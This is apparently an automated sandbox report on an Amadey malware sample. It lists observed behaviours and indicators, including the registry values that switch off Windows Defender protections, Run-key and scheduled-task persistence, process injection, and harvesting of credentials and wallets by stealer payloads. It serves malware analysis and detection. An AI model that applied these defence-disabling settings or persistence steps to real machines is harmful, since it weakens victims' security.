amadey | f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914da4e04aee13df10007b

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

moda1.exemoda.exetrena1.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	moda1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	moda1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	trena1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	trena1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	trena1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	moda1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	moda1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	trena1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	trena1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	moda1.exe

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1340 4572 rundll32.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1340	4572	rundll32.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs

Processes:

OwvtknErB0Wl.exeXandETC.exeupdater.execonhost.exe

description	pid	process	target process
PID 2332 created 2672	2332	OwvtknErB0Wl.exe	taskhostw.exe
PID 4204 created 376	4204	XandETC.exe	Explorer.EXE
PID 4204 created 376	4204	XandETC.exe	Explorer.EXE
PID 4204 created 376	4204	XandETC.exe	Explorer.EXE
PID 4204 created 376	4204	XandETC.exe	Explorer.EXE
PID 4204 created 376	4204	XandETC.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE
PID 2340 created 376	2340	conhost.exe	Explorer.EXE
PID 1680 created 376	1680	updater.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 5 IoCs

Processes:

rundll32.exepowershell.exerundll32.exe

flow pid process

86 2948 rundll32.exe
150 2708 powershell.exe
177 1620 rundll32.exe
187 2708 powershell.exe
202 2708 powershell.exe
Downloads MZ/PE file

flow	pid	process
86	2948	rundll32.exe
150	2708	powershell.exe
177	1620	rundll32.exe
187	2708	powershell.exe
202	2708	powershell.exe

Executes dropped EXE 41 IoCs

Processes:

nbveek.exemoda.exetrena1.exedruid1.exenitka.exemoda1.exedruid.exenitka1.exelebro.exenbveek.exefular.exeOwvtknErB0Wl.exefular1.exevina.exePlayer3.exenbveek.exevina1.execc.exeuplagin.exeraud-290123del700_2023-01-29_12-52.exepb1111.exejn-17L.exeLummaC2.exevideo.exerandom.exerandom.exeXandETC.exeEngine.exeraud-290123del700_2023-01-29_12-52.exeChromeSetup.exeraud-290123del700_2023-01-29_12-52.exeRussian.exe.pifraud-290123del700_2023-01-29_12-52.exenbveek.exebuild2.exebuild3.exebuild2.exe9308.exeupdater.exenbveek.exemstsca.exe

pid	process
628	nbveek.exe
4320	moda.exe
3348	trena1.exe
4124	druid1.exe
3200	nitka.exe
260	moda1.exe
3232	druid.exe
4976	nitka1.exe
3168	lebro.exe
3376	nbveek.exe
2908	fular.exe
2332	OwvtknErB0Wl.exe
432	fular1.exe
4740	vina.exe
2720	Player3.exe
3328	nbveek.exe
3952	vina1.exe
4844	cc.exe
1620	uplagin.exe
4408	raud-290123del700_2023-01-29_12-52.exe
3120	pb1111.exe
2588	jn-17L.exe
1056	LummaC2.exe
2376	video.exe
3456	random.exe
4128	random.exe
4204	XandETC.exe
4428	Engine.exe
1020	raud-290123del700_2023-01-29_12-52.exe
2656	ChromeSetup.exe
3348	raud-290123del700_2023-01-29_12-52.exe
1444	Russian.exe.pif
604	raud-290123del700_2023-01-29_12-52.exe
3832	nbveek.exe
4304	build2.exe
1336	build3.exe
2220	build2.exe
2656	9308.exe
1680	updater.exe
3708	nbveek.exe
4912	mstsca.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\SETUP_33455\Engine.exe	upx
C:\Users\Admin\AppData\Local\Temp\SETUP_33455\Engine.exe	upx
behavioral2/memory/4428-299-0x0000000000400000-0x0000000000558000-memory.dmp	upx

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe	vmprotect
behavioral2/memory/3120-257-0x0000000140000000-0x000000014061A000-memory.dmp	vmprotect

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

lebro.exenbveek.exenbveek.exerandom.exejn-17L.exeraud-290123del700_2023-01-29_12-52.exef3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exenbveek.exeRussian.exe.pifraud-290123del700_2023-01-29_12-52.exePlayer3.exevideo.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	lebro.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	jn-17L.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	raud-290123del700_2023-01-29_12-52.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Russian.exe.pif
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	raud-290123del700_2023-01-29_12-52.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	video.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zge41g4apb0.lnk powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zge41g4apb0.lnk	powershell.exe

Loads dropped DLL 14 IoCs

Processes:

OwvtknErB0Wl.exerundll32.exesvchost.exevideo.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exeRussian.exe.pif

pid	process
2332	OwvtknErB0Wl.exe
2948	rundll32.exe
4784	svchost.exe
2376	video.exe
2376	video.exe
5000	rundll32.exe
3516	rundll32.exe
3512	rundll32.exe
2180	rundll32.exe
920	rundll32.exe
4280	rundll32.exe
1620	rundll32.exe
1444	Russian.exe.pif
1444	Russian.exe.pif

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3380 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3380	icacls.exe

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

moda1.exemoda.exetrena1.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	moda1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	moda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	trena1.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

nbveek.exeraud-290123del700_2023-01-29_12-52.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\druid.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000006051\\druid.exe"	nbveek.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\a7e592f1-b46b-45d4-965a-f2891e354357\\raud-290123del700_2023-01-29_12-52.exe\" --AutoStart"	raud-290123del700_2023-01-29_12-52.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\druid1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000003051\\druid1.exe"	nbveek.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nitka.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000004051\\nitka.exe"	nbveek.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Users\Admin\Videos\Captures\desktop.ini svchost.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

124 api.2ip.ua
52 api.ipify.org
81 api.2ip.ua
82 api.2ip.ua

description	ioc	process
File opened for modification	C:\Users\Admin\Videos\Captures\desktop.ini	svchost.exe

flow	ioc
124	api.2ip.ua
52	api.ipify.org
81	api.2ip.ua
82	api.2ip.ua

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

vina1.exe

pid process

3952 vina1.exe
3952 vina1.exe
3952 vina1.exe

pid	process
3952	vina1.exe
3952	vina1.exe
3952	vina1.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

OwvtknErB0Wl.exeraud-290123del700_2023-01-29_12-52.exeraud-290123del700_2023-01-29_12-52.exebuild2.exerundll32.exeupdater.exe

description	pid	process	target process
PID 2332 set thread context of 1268	2332	OwvtknErB0Wl.exe	ngentask.exe
PID 4408 set thread context of 1020	4408	raud-290123del700_2023-01-29_12-52.exe	raud-290123del700_2023-01-29_12-52.exe
PID 3348 set thread context of 604	3348	raud-290123del700_2023-01-29_12-52.exe	raud-290123del700_2023-01-29_12-52.exe
PID 4304 set thread context of 2220	4304	build2.exe	build2.exe
PID 1620 set thread context of 3948	1620	rundll32.exe	rundll32.exe
PID 1680 set thread context of 2340	1680	updater.exe	conhost.exe
PID 1680 set thread context of 3724	1680	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

XandETC.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3400 sc.exe
3456 sc.exe
1776 sc.exe
1008 sc.exe
1124 sc.exe
4124 sc.exe
4828 sc.exe
4584 sc.exe
4780 sc.exe
4024 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3400	sc.exe
3456	sc.exe
1776	sc.exe
1008	sc.exe
1124	sc.exe
4124	sc.exe
4828	sc.exe
4584	sc.exe
4780	sc.exe
4024	sc.exe

Program crash 13 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4320	2332	WerFault.exe	OwvtknErB0Wl.exe
3656	2332	WerFault.exe	OwvtknErB0Wl.exe
2896	3200	WerFault.exe	nitka.exe
5088	4844	WerFault.exe	cc.exe
2492	4784	WerFault.exe	rundll32.exe
1684	4976	WerFault.exe	nitka1.exe
4740	432	WerFault.exe	fular1.exe
2340	2948	WerFault.exe	rundll32.exe
1792	2376	WerFault.exe	video.exe
5112	2220	WerFault.exe	build2.exe
1344	3512	WerFault.exe	rundll32.exe
3948	4280	WerFault.exe	rundll32.exe
3048	2656	WerFault.exe	9308.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

vina1.exeChromeSetup.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vina1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ChromeSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vina1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	vina1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vina1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vina1.exe

Checks processor information in registry 2 TTPs 30 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

rundll32.exeRussian.exe.pifsvchost.exesvchost.exevideo.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Russian.exe.pif
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	video.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	video.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Russian.exe.pif
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4964 schtasks.exe
3264 schtasks.exe
1976 schtasks.exe
4392 schtasks.exe
3092 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3168 timeout.exe
3152 timeout.exe

pid	process
4964	schtasks.exe
3264	schtasks.exe
1976	schtasks.exe
4392	schtasks.exe
3092	schtasks.exe

pid	process
3168	timeout.exe
3152	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.execonhost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
